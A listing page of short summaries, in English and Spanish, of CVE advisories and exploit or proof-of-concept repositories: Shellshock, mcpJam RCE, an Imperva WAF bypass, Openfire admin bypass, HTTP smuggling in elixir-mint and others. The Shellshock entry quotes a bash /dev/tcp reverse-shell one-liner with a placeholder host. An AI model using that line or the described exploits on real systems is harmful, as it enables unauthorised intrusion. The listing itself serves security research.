CVE-2024-14029

A vulnerability was discovered in Tornado where it improperly handles HTTP requests containing duplicate Transfer-Encoding: chunked headers. When duplicate Transfer-Encoding headers are present in an incoming request, Tornado ignores them and treats the request as body-less, leaving the chunked...

CVE-2014-6271

Hellshocker 0.1.1 Herramienta para explotar la vulnerabilidad Shellshock ¿Cansado de usar exploits débiles de shellshock o simplemente hacer "/bin/bash & /dev/tcp/IP/port 0&1" para acceder al servidor? Sí, necesitas subir y ejecutar algo más complejo en el servidor, y codificar en base64 un archi...

CVE-2026-23744-poc

CVE-2026-23744 — mcpJam Remote Code Execution RCE Exploit A Python 3 proof-of-concept exploit for CVE-2026-23744 , an arbitrary command execution vulnerability affecting mcpJam v1.4.2. This utility automates payload delivery by transparently Base64-encoding commands before transmission, helping...

CVE-2024-38473

Proof of Concept PoC for Encoding Problem in modproxy in Apache HTTP Server This repository contains Proof of Concept PoC scripts for demonstrating an encoding problem in the modproxy module of Apache HTTP Server versions 2.4.59 and earlier. This vulnerability allows request URLs with incorrect...

recipe-blog-encoding

recipe-blog-encoding !WARNING Este proyecto está completamente codificado al estilo "vibe" probablemente parcialmente plagiado de este repositorio y el autor es un tontorrón que solo pensó que la idea era divertida Usa preámbulos de recetas optimizados para SEO como vehículo para codificar mensaj...

Imperva_gzip_bypass

Imperva Web Application Firewall WAF Bypass de Solicitudes POST Imperva Cloud WAF era vulnerable a un bypass que permite a los atacantes evadir las reglas del WAF al enviar payloads HTTP POST maliciosos, como exploits de log4j, inyección SQL, ejecución de comandos, directory traversal, XXE, etc...

CVE-2021-31166-Exploit

CVE-2021-31166-Exploit Exploit para la vulnerabilidad RCE de la pila de protocolos HTTP de Microsoft CVE-2021-31166 Una solicitud Http especialmente manipulada dirigida a una versión vulnerable de Windows resultará en un ataque DOS. Y el servidor se reiniciará con un error de pantalla azul...

cve-2023-23397

CVE-2023-23397 Este script permite crear correos electrónicos de Outlook codificados en TNEF con la carga útil del exploit CVE-2023-23397 y enviarlos a través de SMTP puro, sin necesidad de objetos COM ni EWS. No pude lograr que la clase de mensaje IPM.Schedule.Meeting.Request funcionara...

servu-cve-2026-28318-poc

CVE-2026-28318 — SolarWinds Serv-U "Content-Encoding: deflate" caída pre-autenticación Análisis de causa raíz + prueba de concepto de DoS. El aviso público clasifica esto como una denegación de servicio / consumo no controlado de recursos no autenticada. El análisis binario muestra que el defecto...

Explotacion-CVE-2023-32315-Openfire

🔍 CVE-2023-32315 Descripción: La vulnerabilidad CVE-2023-32315 afecta a servidores Openfire, permitiendo a un atacante bypassear el login del panel administrativo web sin credenciales válidas. El exploit agrega un usuario administrativo, permitiendo al atacante cargar un plugin malicioso y obtene...

CVE-2026-94194 Mint HTTP/1 client applies chunked framing when chunked is not the final transfer coding, enabling response smuggling through intermediaries

Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in elixir-mint mint allows a malicious HTTP/1 server to desynchronize an intermediary and the Mint client on a pooled connection, poisoning the responses to subsequent requests that share the connection...

EUVD-2026-88220

Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in elixir-mint mint allows a malicious HTTP/1 server to desynchronize an intermediary and the Mint client on a pooled connection, poisoning the responses to subsequent requests that share the connection...

CVE-2026-94194

The elixir-mint library (versions 0.1.0 to 1.11.0 ) is vulnerable to HTTP Request/Response Smuggling due to the inconsistent interpretation of HTTP/1 framing. Specifically, the message_body/1 function in lib/mint/http1.ex incorrectly applies chunked framing when chunked is the first coding listed...

EEF-CVE-2026-94194 Mint HTTP/1 client applies chunked framing when chunked is not the final transfer coding, enabling response smuggling through intermediaries

Summary Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in elixir-mint mint allows a malicious HTTP/1 server to desynchronize an intermediary and the Mint client on a pooled connection, poisoning the responses to subsequent requests that share the...

python-paddingoracle

python-paddingoracle: A portable, padding oracle exploit API UPDATED FOR PYTHON 3 python-paddingoracle is an API that provides pentesters a customizable alternative to PadBuster and other padding oracle exploit tools that can't easily without a heavy rewrite be used in unique, per-app scenarios...

PTP-RAT

PTP-RAT Exfiltrate data over screen interfaces More information about how the tool works can be found at https://www.pentestpartners.com/security-blog/exfiltration-by-encoding-data-in-pixel-colour-values/...

CodeIgniterXor

CodeIgniterXor PoC script to decode CodeIgniter = 2.1.4 session cookies that use xorencode method. Full details availalbe on on the following blog post: https://www.dionach.com/blog/codeigniter-session-decoding-vulnerability Uso break.py Este es el script principal; dado un URI de destino,...

CVE-2026-37196

CVE-2026-37196 – Cross-Site Scripting XSS Almacenado en nirix traq v3.9.0 Descripción general Existe una vulnerabilidad de Cross-Site Scripting XSS Almacenado en nirix traq v3.9.0 , donde la entrada proporcionada por el usuario en el campo de descripción del ticket no se sanitiza adecuadamente...

Scanner-CVE-2021-41773

Scanner-CVE-2021-41773 Un escáner automático para Apache 2.4.49 • ejecutar: go run main.go O go build main.go && ./main • puedes personalizar tu payload • los hosts vulnerables se guardan Crea tu laboratorio: 1. Descargar imagen: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid 2. Ejecutar...

postgresql: PostgreSQL: Arbitrary code execution via heap buffer overflow in regexp

A flaw was found in PostgreSQL. A heap buffer overflow vulnerability exists in the regexp component, which can be triggered by a query author providing text that does not pass encoding validation. This can lead to unanticipated data growth, allowing the attacker to execute arbitrary code as the...